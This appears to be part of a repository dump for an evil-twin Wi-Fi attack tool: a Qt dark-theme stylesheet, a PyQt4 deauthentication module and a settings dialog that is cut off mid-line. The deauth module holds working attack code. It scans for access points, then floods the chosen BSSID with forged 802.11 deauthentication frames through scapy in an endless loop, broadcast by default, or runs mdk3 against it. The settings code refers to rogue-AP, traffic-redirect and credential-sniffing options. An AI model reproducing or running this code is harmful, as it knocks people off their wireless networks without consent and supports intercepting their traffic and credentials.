26 | 27 | QMenuBar::item 28 | { 29 | background: transparent; 30 | } 31 | 32 | QMenuBar::item:selected 33 | { 34 | background: transparent; 35 | border: 1px solid #ffaa00; 36 | } 37 | 38 | QMenuBar::item:pressed 39 | { 40 | background: #444; 41 | border: 1px solid #000; 42 | background-color: QLinearGradient( 43 | x1:0, y1:0, 44 | x2:0, y2:1, 45 | stop:1 #212121, 46 | stop:0.4 #343434/*, 47 | stop:0.2 #343434, 48 | stop:0.1 #ffaa00*/ 49 | ); 50 | margin-bottom:-1px; 51 | padding-bottom:1px; 52 | } 53 | 54 | QMenu 55 | { 56 | border: 1px solid #000; 57 | } 58 | 59 | QMenu::item 60 | { 61 | padding: 2px 20px 2px 20px; 62 | } 63 | 64 | QMenu::item:selected 65 | { 66 | color: #000000; 67 | } 68 | 69 | QWidget:disabled 70 | { 71 | color: #404040; 72 | background-color: #323232; 73 | } 74 | 75 | QAbstractItemView 76 | { 77 | background-color: QLinearGradient( x1: 1, y1: 5, x2: 0, y2: 2, stop: 0 #2F2D2D, stop: 0.1 #2F2D2D, stop: 1 #2F2D2D); 78 | border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 79 | } 80 | 81 | QWidget:focus 82 | { 83 | /*border: 0px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 0, stop: 0 #ffa02f, stop: 0 #d7801a);*/ 84 | } 85 | 86 | QLineEdit 87 | { 88 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0 #646464, stop: 1 #5d5d5d); 89 | padding: 1px; 90 | border-style: solid; 91 | border: 1px solid #1e1e1e; 92 | border-radius: 5; 93 | } 94 | 95 | QPushButton 96 | { 97 | color: #b1b1b1; 98 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); 99 | border-width: 1px; 100 | border-color: #1e1e1e; 101 | border-style: solid; 102 | border-radius: 6; 103 | padding: 3px; 104 | font-size: 12px; 105 | padding-left: 5px; 106 | padding-right: 5px; 107 | } 108 | 109 | QPushButton:pressed 110 | { 111 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); 112 | } 113 | 114 | QComboBox 115 | { 116 | selection-background-color: #ffaa00; 117 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); 118 | border-style: solid; 119 | border: 1px solid #1e1e1e; 120 | border-radius: 2; 121 | height: 20px; 122 | width: 100px 123 | } 124 | 125 | QComboBox:hover,QPushButton:hover 126 | { 127 | border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 128 | } 129 | 130 | 131 | QComboBox:on 132 | { 133 | padding-top: 1px; 134 | padding-left: 1px; 135 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #3D3D3D, stop: 0.1 #3D3D3D, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); 136 | selection-background-color: #ffaa00; 137 | } 138 | 139 | QComboBox QAbstractItemView 140 | { 141 | /*border: 2px solid darkgray;*/ 142 | selection-background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 143 | } 144 | 145 | QComboBox::drop-down 146 | { 147 | subcontrol-origin: padding; 148 | subcontrol-position: top right; 149 | width: 15px; 150 | border-left-width: 0px; 151 | /*border-left-color: darkgray;*/ 152 | border-left-style: solid; /* just a single line */ 153 | border-top-right-radius: 3px; /* same radius as the QComboBox */ 154 | border-bottom-right-radius: 3px; 155 | } 156 | 157 | QComboBox::down-arrow 158 | { 159 | image: url(rsc/down_arrow.png); 160 | } 161 | 162 | QGroupBox:focus 163 | { 164 | border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 165 | } 166 | 167 | QTextEdit:focus 168 | { 169 | border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 170 | } 171 | 172 | QScrollBar:horizontal { 173 | border: 1px solid #222222; 174 | background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); 175 | height: 7px; 176 | margin: 0px 16px 0 16px; 177 | } 178 | 179 | QScrollBar::handle:horizontal 180 | { 181 | background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); 182 | min-height: 20px; 183 | border-radius: 2px; 184 | } 185 | 186 | QScrollBar::add-line:horizontal { 187 | border: 1px solid #1b1b19; 188 | border-radius: 2px; 189 | background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); 190 | width: 14px; 191 | subcontrol-position: right; 192 | subcontrol-origin: margin; 193 | } 194 | 195 | QScrollBar::sub-line:horizontal { 196 | border: 1px solid #1b1b19; 197 | border-radius: 2px; 198 | background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); 199 | width: 14px; 200 | subcontrol-position: left; 201 | subcontrol-origin: margin; 202 | } 203 | 204 | QScrollBar::right-arrow:horizontal, QScrollBar::left-arrow:horizontal 205 | { 206 | border: 1px solid black; 207 | width: 1px; 208 | height: 1px; 209 | background: white; 210 | } 211 | 212 | QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal 213 | { 214 | background: none; 215 | } 216 | 217 | QScrollBar:vertical 218 | { 219 | background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); 220 | width: 7px; 221 | margin: 16px 0 16px 0; 222 | border: 1px solid #222222; 223 | } 224 | 225 | QScrollBar::handle:vertical 226 | { 227 | background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); 228 | min-height: 20px; 229 | border-radius: 2px; 230 | } 231 | 232 | QScrollBar::add-line:vertical 233 | { 234 | border: 1px solid #1b1b19; 235 | border-radius: 2px; 236 | background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 237 | height: 14px; 238 | subcontrol-position: bottom; 239 | subcontrol-origin: margin; 240 | } 241 | 242 | QScrollBar::sub-line:vertical 243 | { 244 | border: 1px solid #1b1b19; 245 | border-radius: 2px; 246 | background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #d7801a, stop: 1 #ffa02f); 247 | height: 14px; 248 | subcontrol-position: top; 249 | subcontrol-origin: margin; 250 | } 251 | 252 | QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical 253 | { 254 | border: 1px solid black; 255 | width: 1px; 256 | height: 1px; 257 | background: white; 258 | } 259 | 260 | 261 | QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical 262 | { 263 | background: none; 264 | } 265 | 266 | QTextEdit 267 | { 268 | background-color: #2F2D2D; 269 | } 270 | 271 | QPlainTextEdit 272 | { 273 | background-color: #2F2D2D; 274 | } 275 | 276 | QHeaderView::section 277 | { 278 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #616161, stop: 0.5 #505050, stop: 0.6 #434343, stop:1 #656565); 279 | color: white; 280 | padding-left: 4px; 281 | border: 1px solid #6c6c6c; 282 | } 283 | 284 | QCheckBox:disabled 285 | { 286 | color: #414141; 287 | } 288 | 289 | QDockWidget::title 290 | { 291 | text-align: center; 292 | spacing: 3px; /* spacing between items in the tool bar */ 293 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); 294 | } 295 | 296 | QDockWidget::close-button, QDockWidget::float-button 297 | { 298 | text-align: center; 299 | spacing: 1px; /* spacing between items in the tool bar */ 300 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); 301 | } 302 | 303 | QDockWidget::close-button:hover, QDockWidget::float-button:hover 304 | { 305 | background: #242424; 306 | } 307 | 308 | QDockWidget::close-button:pressed, QDockWidget::float-button:pressed 309 | { 310 | padding: 1px -1px -1px 1px; 311 | } 312 | 313 | QMainWindow::separator 314 | { 315 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); 316 | color: white; 317 | padding-left: 4px; 318 | border: 1px solid #4c4c4c; 319 | spacing: 3px; /* spacing between items in the tool bar */ 320 | } 321 | 322 | QMainWindow::separator:hover 323 | { 324 | 325 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #d7801a, stop:0.5 #b56c17 stop:1 #ffa02f); 326 | color: white; 327 | padding-left: 4px; 328 | border: 1px solid #6c6c6c; 329 | spacing: 3px; /* spacing between items in the tool bar */ 330 | } 331 | 332 | QToolBar::handle 333 | { 334 | spacing: 3px; /* spacing between items in the tool bar */ 335 | background: url(:/images/handle.png); 336 | } 337 | 338 | QMenu::separator 339 | { 340 | height: 2px; 341 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); 342 | color: white; 343 | padding-left: 4px; 344 | margin-left: 10px; 345 | margin-right: 5px; 346 | } 347 | 348 | QProgressBar 349 | { 350 | border: 2px solid grey; 351 | border-radius: 5px; 352 | text-align: center; 353 | } 354 | 355 | QProgressBar::chunk 356 | { 357 | background-color: #d7801a; 358 | width: 2.15px; 359 | margin: 0.5px; 360 | } 361 | 362 | QTabBar::tab { 363 | color: #b1b1b1; 364 | border: 1px solid #444; 365 | border-bottom-style: none; 366 | background-color: #323232; 367 | padding-left: 10px; 368 | padding-right: 10px; 369 | padding-top: 3px; 370 | padding-bottom: 2px; 371 | margin-right: -1px; 372 | } 373 | 374 | QTabWidget::pane { 375 | border: 1px solid #444; 376 | top: 1px; 377 | } 378 | 379 | QTabBar::tab:last 380 | { 381 | margin-right: 0; /* the last selected tab has nothing to overlap with on the right */ 382 | border-top-right-radius: 3px; 383 | } 384 | 385 | QTabBar::tab:first:!selected 386 | { 387 | margin-left: 0px; /* the last selected tab has nothing to overlap with on the right */ 388 | 389 | 390 | border-top-left-radius: 3px; 391 | } 392 | 393 | QTabBar::tab:!selected 394 | { 395 | color: #b1b1b1; 396 | border-bottom-style: solid; 397 | margin-top: 3px; 398 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:.4 #343434); 399 | } 400 | 401 | QTabBar::tab:selected 402 | { 403 | border-top-left-radius: 3px; 404 | border-top-right-radius: 3px; 405 | margin-bottom: 0px; 406 | } 407 | 408 | QTabBar::tab:!selected:hover 409 | { 410 | /*border-top: 2px solid #ffaa00; 411 | padding-bottom: 3px;*/ 412 | border-top-left-radius: 3px; 413 | border-top-right-radius: 3px; 414 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:0.4 #343434, stop:0.2 #343434, stop:0.1 #ffaa00); 415 | } 416 | 417 | QRadioButton::indicator:checked, QRadioButton::indicator:unchecked{ 418 | color: #b1b1b1; 419 | background-color: #323232; 420 | border: 1px solid #b1b1b1; 421 | border-radius: 6px; 422 | } 423 | 424 | QRadioButton::indicator:checked 425 | { 426 | background-color: qradialgradient( 427 | cx: 0.5, cy: 0.5, 428 | fx: 0.5, fy: 0.5, 429 | radius: 1.0, 430 | stop: 0.25 #ffaa00, 431 | stop: 0.3 #323232 432 | ); 433 | } 434 | 435 | QCheckBox::indicator{ 436 | color: #b1b1b1; 437 | background-color: #323232; 438 | border: 1px solid #b1b1b1; 439 | width: 13px; 440 | height: 13px; 441 | } 442 | 443 | QRadioButton::indicator 444 | { 445 | border-radius: 6px; 446 | } 447 | 448 | QRadioButton::indicator:hover, QCheckBox::indicator:hover 449 | { 450 | border: 1px solid #ffaa00; 451 | } 452 | 453 | QCheckBox::indicator:checked 454 | { 455 | image:url(rsc/check.png); 456 | } 457 | 458 | QCheckBox::indicator:disabled, QRadioButton::indicator:disabled 459 | { 460 | border: 1px solid #444; 461 | } -------------------------------------------------------------------------------- /Modules/ModuleDeauth.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from PyQt4.QtGui import * 18 | from PyQt4.QtCore import * 19 | from subprocess import Popen,PIPE 20 | from scapy.all import * 21 | import threading 22 | from os import popen,system,getuid,path,makedirs 23 | from re import search,compile,match 24 | from Core.Settings import frm_Settings 25 | from Modules.utils import Refactor,ProcessThread,airdump_start,get_network_scan,set_monitor_mode 26 | from multiprocessing import Process 27 | from subprocess import Popen,PIPE,STDOUT,call,check_output 28 | threadloading = {'deauth':[],'mdk3':[]} 29 | 30 | 31 | class frm_window(QMainWindow): 32 | def __init__(self, parent=None): 33 | super(frm_window, self).__init__(parent) 34 | self.form_widget = frm_deauth(self) 35 | self.setCentralWidget(self.form_widget) 36 | self.setWindowTitle("Deauth Attack wireless Route") 37 | self.setWindowIcon(QIcon('rsc/icon.ico')) 38 | self.config = frm_Settings() 39 | self.loadtheme(self.config.XmlThemeSelected()) 40 | 41 | def loadtheme(self,theme): 42 | sshFile=("Core/%s.qss"%(theme)) 43 | with open(sshFile,"r") as fh: 44 | self.setStyleSheet(fh.read()) 45 | 46 | def closeEvent(self, event): 47 | global threadloading 48 | if len(threadloading['deauth']) != 0 or len(threadloading['mdk3']) != 0: 49 | reply = QMessageBox.question(self, 'About Exit',"Are you sure to quit?", QMessageBox.Yes | 50 | QMessageBox.No, QMessageBox.No) 51 | if reply == QMessageBox.Yes: 52 | event.accept() 53 | for i in threadloading['deauth']: 54 | i.terminate() 55 | print("[*] Deuath Thread Terminate") 56 | for i in threadloading['mdk3']: 57 | i.stop(),i.join() 58 | 59 | self.deleteLater() 60 | else: 61 | event.ignore() 62 | 63 | 64 | class frm_deauth(QWidget): 65 | def __init__(self, parent=None): 66 | super(frm_deauth, self).__init__(parent) 67 | self.Main = QVBoxLayout() 68 | self.xmlcheck = frm_Settings() 69 | self.interface = self.xmlcheck.xmlSettings("interface", "monitor_mode", None, False) 70 | self.ApsCaptured = {} 71 | self.pacote = [] 72 | self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} 73 | self.window_qt() 74 | 75 | def select_target(self): 76 | item = self.tables.selectedItems() 77 | if item != []: 78 | self.linetarget.setText(item[2].text()) 79 | else: 80 | QMessageBox.critical(self, "Error in row", "Nothing row in tables, please try scan network again") 81 | self.linetarget.clear() 82 | 83 | def window_qt(self): 84 | self.mForm = QFormLayout() 85 | self.statusbar = QStatusBar() 86 | system = QLabel("Deauthentication::") 87 | self.statusbar.addWidget(system) 88 | self.Controlador = QLabel("") 89 | self.AttackStatus(False) 90 | 91 | self.tables = QTableWidget(5,3) 92 | self.tables.setFixedWidth(350) 93 | self.tables.setRowCount(100) 94 | self.tables.setFixedHeight(250) 95 | self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) 96 | self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) 97 | self.tables.clicked.connect(self.select_target) 98 | self.tables.resizeColumnsToContents() 99 | self.tables.resizeRowsToContents() 100 | self.tables.horizontalHeader().resizeSection(1,120) 101 | self.tables.horizontalHeader().resizeSection(0,60) 102 | self.tables.horizontalHeader().resizeSection(2,158) 103 | self.tables.verticalHeader().setVisible(False) 104 | Headers = [] 105 | for n, key in enumerate(self.data.keys()): 106 | Headers.append(key) 107 | self.tables.setHorizontalHeaderLabels(Headers) 108 | 109 | 110 | self.linetarget = QLineEdit(self) 111 | self.input_client = QLineEdit(self) 112 | self.input_client.setText("FF:FF:FF:FF:FF:FF") 113 | self.btn_enviar = QPushButton("Send Attack", self) 114 | self.btn_enviar.clicked.connect(self.attack_deauth) 115 | self.btn_scan = QPushButton(" Network Scan ", self) 116 | self.btn_scan.clicked.connect(self.SettingsScan) 117 | self.btn_stop = QPushButton("Stop Attack ", self) 118 | self.btn_stop.clicked.connect(self.kill_thread) 119 | self.btn_enviar.setFixedWidth(170) 120 | self.btn_stop.setFixedWidth(170) 121 | self.btn_scan.setFixedWidth(120) 122 | 123 | #icons 124 | self.btn_scan.setIcon(QIcon("rsc/network.png")) 125 | self.btn_enviar.setIcon(QIcon("rsc/start.png")) 126 | self.btn_stop.setIcon(QIcon("rsc/Stop.png")) 127 | 128 | self.time_scan = QComboBox(self) 129 | self.time_scan.addItem("10s") 130 | self.time_scan.addItem("20s") 131 | self.time_scan.addItem("30s") 132 | 133 | self.get_placa = QComboBox(self) 134 | 135 | n = Refactor.get_interfaces()['all'] 136 | for i,j in enumerate(n): 137 | if search("wlan", j): 138 | self.get_placa.addItem(n[i]) 139 | 140 | #grid options 141 | self.Grid = QGridLayout() 142 | self.options_scan = self.xmlcheck.xmlSettings("scanner_AP", "select", None, False) 143 | if self.options_scan != "scan_scapy":self.time_scan.setEnabled(False) 144 | 145 | self.Grid.addWidget(QLabel("Time:"),0,0) 146 | self.Grid.addWidget(self.time_scan,0,1) 147 | self.Grid.addWidget(self.get_placa,0,2) 148 | self.Grid.addWidget(self.btn_scan,0,3) 149 | self.Grid.addWidget(self.btn_scan,0,3) 150 | 151 | self.Grid.addWidget(QLabel("bssid:"),1,0) 152 | self.Grid.addWidget(QLabel(" Client:"),1,2) 153 | self.Grid.addWidget(self.linetarget,1,1) 154 | self.Grid.addWidget(self.input_client,1,3) 155 | 156 | 157 | self.form0 = QGridLayout() 158 | self.form0.addWidget(self.tables,0,0) 159 | 160 | self.mForm.addRow(self.btn_enviar, self.btn_stop) 161 | self.mForm.addRow(self.statusbar) 162 | self.Main.addLayout(self.form0) 163 | self.Main.addLayout(self.Grid) 164 | self.Main.addLayout(self.mForm) 165 | self.setLayout(self.Main) 166 | 167 | def scan_diveces_airodump(self): 168 | dirpath = "Settings/Dump" 169 | if not path.isdir(dirpath): 170 | makedirs(dirpath) 171 | self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} 172 | exit_air = airdump_start(self.interface) 173 | self.fix = False 174 | if exit_air == None: 175 | self.cap = get_network_scan() 176 | if self.cap != None: 177 | for i in self.cap: 178 | i = i.split("||") 179 | if Refactor.check_is_mac(i[2]): 180 | Headers = [] 181 | self.data['Channel'].append(i[0]) 182 | self.data['Essid'].append(i[1]) 183 | self.data['Bssid'].append(i[2]) 184 | for n, key in enumerate(self.data.keys()): 185 | Headers.append(key) 186 | for m, item in enumerate(self.data[key]): 187 | item = QTableWidgetItem(item) 188 | item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) 189 | self.tables.setItem(m, n, item) 190 | self.cap =[] 191 | 192 | def kill_thread(self): 193 | global threadloading 194 | for i in threadloading['deauth']: 195 | i.terminate() 196 | for i in threadloading['mdk3']: 197 | i.stop(),i.join() 198 | self.AttackStatus(False) 199 | print("[*] deauth Attack OFF") 200 | 201 | def SettingsScan(self): 202 | self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} 203 | if self.get_placa.currentText() == "": 204 | QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') 205 | else: 206 | self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) 207 | self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False) 208 | if self.time_scan.currentText() == "10s":count = 10 209 | elif self.time_scan.currentText() == "20s":count = 20 210 | elif self.time_scan.currentText() == "30s":count = 30 211 | if self.interface != None: 212 | if self.options_scan == "scan_scapy": 213 | self.scapy_scan_AP(self.interface,count) 214 | for i in self.ApsCaptured.keys(): 215 | if Refactor.check_is_mac(i): 216 | self.data['Channel'].append(self.ApsCaptured[i][0]) 217 | self.data['Essid'].append(self.ApsCaptured[i][1]) 218 | self.data['Bssid'].append(i) 219 | Headers = [] 220 | for n, key in enumerate(self.data.keys()): 221 | Headers.append(key) 222 | for m, item in enumerate(self.data[key]): 223 | item = QTableWidgetItem(item) 224 | item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) 225 | self.tables.setItem(m, n, item) 226 | else: 227 | if path.isfile(popen('which airodump-ng').read().split("\n")[0]): 228 | self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) 229 | self.thread_airodump.daemon = True 230 | self.thread_airodump.start() 231 | else: 232 | QMessageBox.information(self,'Error airodump','airodump-ng not installed') 233 | set_monitor_mode(self.get_placa.currentText()).setDisable() 234 | 235 | def scapy_scan_AP(self,interface,timeout): 236 | sniff(iface=str(interface), prn =self.Scanner_devices, timeout=timeout) 237 | def Scanner_devices(self,pkt): 238 | if pkt.type == 0 and pkt.subtype == 8: 239 | self.ApsCaptured[pkt.addr2] = [str(int(ord(pkt[Dot11Elt:3].info))),pkt.info] 240 | 241 | def attack_deauth(self): 242 | global threadloading 243 | if self.linetarget.text() == "": 244 | QMessageBox.information(self, "Target Error", "Please, first select Target for attack") 245 | else: 246 | self.bssid = str(self.linetarget.text()) 247 | self.deauth_check = self.xmlcheck.xmlSettings("deauth", "select",None,False) 248 | self.args = str(self.xmlcheck.xmlSettings("mdk3","arguments", None, False)) 249 | if self.deauth_check == "packets_scapy": 250 | self.AttackStatus(True) 251 | t = Process(target=self.deauth_attacker, args=(self.bssid,str(self.input_client.text()))) 252 | print("[*] deauth Attack On:"+self.bssid) 253 | threadloading['deauth'].append(t) 254 | t.daemon = True 255 | t.start() 256 | else: 257 | if path.isfile(popen('which mdk3').read().split("\n")[0]): 258 | self.AttackStatus(True) 259 | t = ProcessThread(("mdk3 %s %s %s"%(self.interface,self.args,self.bssid)).split()) 260 | t.name = "mdk3" 261 | threadloading['mdk3'].append(t) 262 | t.start() 263 | else: 264 | QMessageBox.information(self,'Error mdk3','mkd3 not installed') 265 | set_monitor_mode(self.get_placa.currentText()).setDisable() 266 | 267 | def AttackStatus(self,bool): 268 | if bool: 269 | self.Controlador.setText("[ON]") 270 | self.Controlador.setStyleSheet("QLabel { color : green; }") 271 | else: 272 | self.Controlador.setText("[OFF]") 273 | self.Controlador.setStyleSheet("QLabel { color : red; }") 274 | self.statusbar.addWidget(self.Controlador) 275 | 276 | def deauth_attacker(self,bssid, client): 277 | conf.verb = 0 278 | conf.iface = self.interface 279 | pkts = [] 280 | pkt1 = RadioTap()/Dot11(type=0, 281 | subtype=12,addr1=client, 282 | addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7) 283 | pkt2 = Dot11(addr1=bssid, addr2=client, 284 | addr3=client)/Dot11Deauth() 285 | pkts.append(pkt1) 286 | pkts.append(pkt2) 287 | while True: 288 | for i in pkts: 289 | sendp(i,verbose=False,count=1) 290 | 291 | @pyqtSlot(QModelIndex) 292 | def list_clicked(self, index): 293 | itms = self.list.selectedIndexes() 294 | for i in itms: 295 | attack = str(i.data().toString()).split() 296 | for i in attack: 297 | if Refactor.check_is_mac(i.replace(" ", "")): 298 | self.linetarget.setText(str(i)) 299 | if self.linetarget.text() == "": 300 | QMessageBox.information(self, "MacAddress", 301 | "Error check the Mac Target, please set the mac valid.") 302 | -------------------------------------------------------------------------------- /Core/Settings.py: -------------------------------------------------------------------------------- 1 | from PyQt4.QtGui import * 2 | from xml.dom import minidom 3 | from PyQt4.QtCore import * 4 | from re import search 5 | class frm_Settings(QDialog): 6 | def __init__(self, parent = None): 7 | super(frm_Settings, self).__init__(parent) 8 | self.setWindowTitle('Settings 3vilTwinAttacker') 9 | self.Main = QVBoxLayout() 10 | self.frm = QFormLayout() 11 | self.setGeometry(0, 0, 400, 300) 12 | self.center() 13 | self.loadtheme(self.XmlThemeSelected()) 14 | self.Qui() 15 | 16 | def loadtheme(self,theme): 17 | sshFile=("Core/%s.qss"%(theme)) 18 | with open(sshFile,"r") as fh: 19 | self.setStyleSheet(fh.read()) 20 | 21 | def XmlThemeSelected(self): 22 | theme = self.xmlSettings('themes', 'selected',None,False) 23 | return theme 24 | def center(self): 25 | frameGm = self.frameGeometry() 26 | centerPoint = QDesktopWidget().availableGeometry().center() 27 | frameGm.moveCenter(centerPoint) 28 | self.move(frameGm.topLeft()) 29 | 30 | def xmlSettings(self,id,data,bool,show): 31 | xmldoc = minidom.parse('Settings/Settings.xml') 32 | country = xmldoc.getElementsByTagName(id) 33 | firstchild = country[0] 34 | if bool != None: 35 | firstchild.attributes[data].value = bool 36 | if show == True: 37 | print '---------------------------' 38 | print 'Settings:' + data + '=>'+ firstchild.attributes[data].value 39 | print '---------------------------' 40 | xmldoc.writexml( open('Settings/Settings.xml', 'w')) 41 | 42 | return firstchild.attributes[data].value 43 | 44 | def save_settings(self): 45 | if self.d_scapy.isChecked(): 46 | self.xmlSettings('deauth','select','packets_scapy',False) 47 | elif self.d_mdk.isChecked(): 48 | self.xmlSettings('deauth','select','packets_mdk3',False) 49 | 50 | if self.scan_scapy.isChecked(): 51 | self.xmlSettings('scanner_AP', 'select', 'scan_scapy',False) 52 | elif self.scan_airodump.isChecked(): 53 | self.xmlSettings('scanner_AP', 'select', 'scan_airodump', False) 54 | 55 | if self.dhcp1.isChecked(): 56 | self.xmlSettings('dhcp','dhcp_server','iscdhcpserver',False) 57 | elif self.dhcp2.isChecked(): 58 | self.xmlSettings('dhcp','dhcp_server','dnsmasq',False) 59 | if self.theme1.isChecked(): 60 | self.xmlSettings('themes','selected','theme1',False) 61 | elif self.theme2.isChecked(): 62 | self.xmlSettings('themes','selected','theme2',False) 63 | if self.scan1.isChecked(): 64 | self.xmlSettings('advanced','Function_scan','Ping',False) 65 | elif self.scan2.isChecked(): 66 | self.xmlSettings('advanced','Function_scan','Nmap',False) 67 | self.txt_arguments.setText(self.xmlSettings('mdk3', 'arguments', str(self.txt_arguments.text()), False)) 68 | self.txt_ranger.setText(self.xmlSettings('scan','rangeIP',str(self.txt_ranger.text()),False)) 69 | self.interface.setText(self.xmlSettings('interface', 'monitor_mode', str(self.interface.text()), False)) 70 | self.Apname.setText(self.xmlSettings('AP', 'name', str(self.Apname.text()), False)) 71 | self.xmlSettings('channel', 'mchannel', str(self.channel.value()), False) 72 | self.xmlSettings('redirect', 'port', str(self.redirectport.text()), False) 73 | self.xmlSettings('netcreds', 'interface', str(self.InterfaceNetCreds.text()), False) 74 | self.close() 75 | 76 | 77 | def listItemclicked(self,pos): 78 | item = self.ListRules.selectedItems() 79 | self.listMenu= QMenu() 80 | menu = QMenu() 81 | additem = menu.addAction('Add') 82 | editem = menu.addAction('Edit') 83 | removeitem = menu.addAction('Remove ') 84 | clearitem = menu.addAction('clear') 85 | action = menu.exec_(self.ListRules.viewport().mapToGlobal(pos)) 86 | if action == removeitem: 87 | if item != []: 88 | self.ListRules.takeItem(self.ListRules.currentRow()) 89 | elif action == additem: 90 | text, resp = QInputDialog.getText(self, 'Add rules iptables', 91 | 'Enter the rules iptables:') 92 | if resp: 93 | try: 94 | itemsexits = [] 95 | for index in xrange(self.ListRules.count()): 96 | itemsexits.append(str(self.ListRules.item(index).text())) 97 | for i in itemsexits: 98 | if search(str(text),i): 99 | QMessageBox.information(self,'Rules exist','this rules already exist!') 100 | return 101 | item = QListWidgetItem() 102 | item.setText(text) 103 | item.setSizeHint(QSize(30,30)) 104 | self.ListRules.addItem(item) 105 | except Exception as e: 106 | QMessageBox.information(self,'error',str(e)) 107 | return 108 | elif action == editem: 109 | text, resp = QInputDialog.getText(self, 'Add rules iptables', 110 | 'Enter the rules iptables:',text=self.ListRules.item(self.ListRules.currentRow()).text()) 111 | if resp: 112 | try: 113 | itemsexits = [] 114 | for index in xrange(self.ListRules.count()): 115 | itemsexits.append(str(self.ListRules.item(index).text())) 116 | for i in itemsexits: 117 | if search(str(text),i): 118 | QMessageBox.information(self,'Rules exist','this rules already exist!') 119 | return 120 | item = QListWidgetItem() 121 | item.setText(text) 122 | item.setSizeHint(QSize(30,30)) 123 | self.ListRules.insertItem(self.ListRules.currentRow(),item) 124 | except Exception as e: 125 | QMessageBox.information(self,'error',str(e)) 126 | return 127 | elif action == clearitem: 128 | self.ListRules.clear() 129 | 130 | def redirectAP(self): 131 | item = 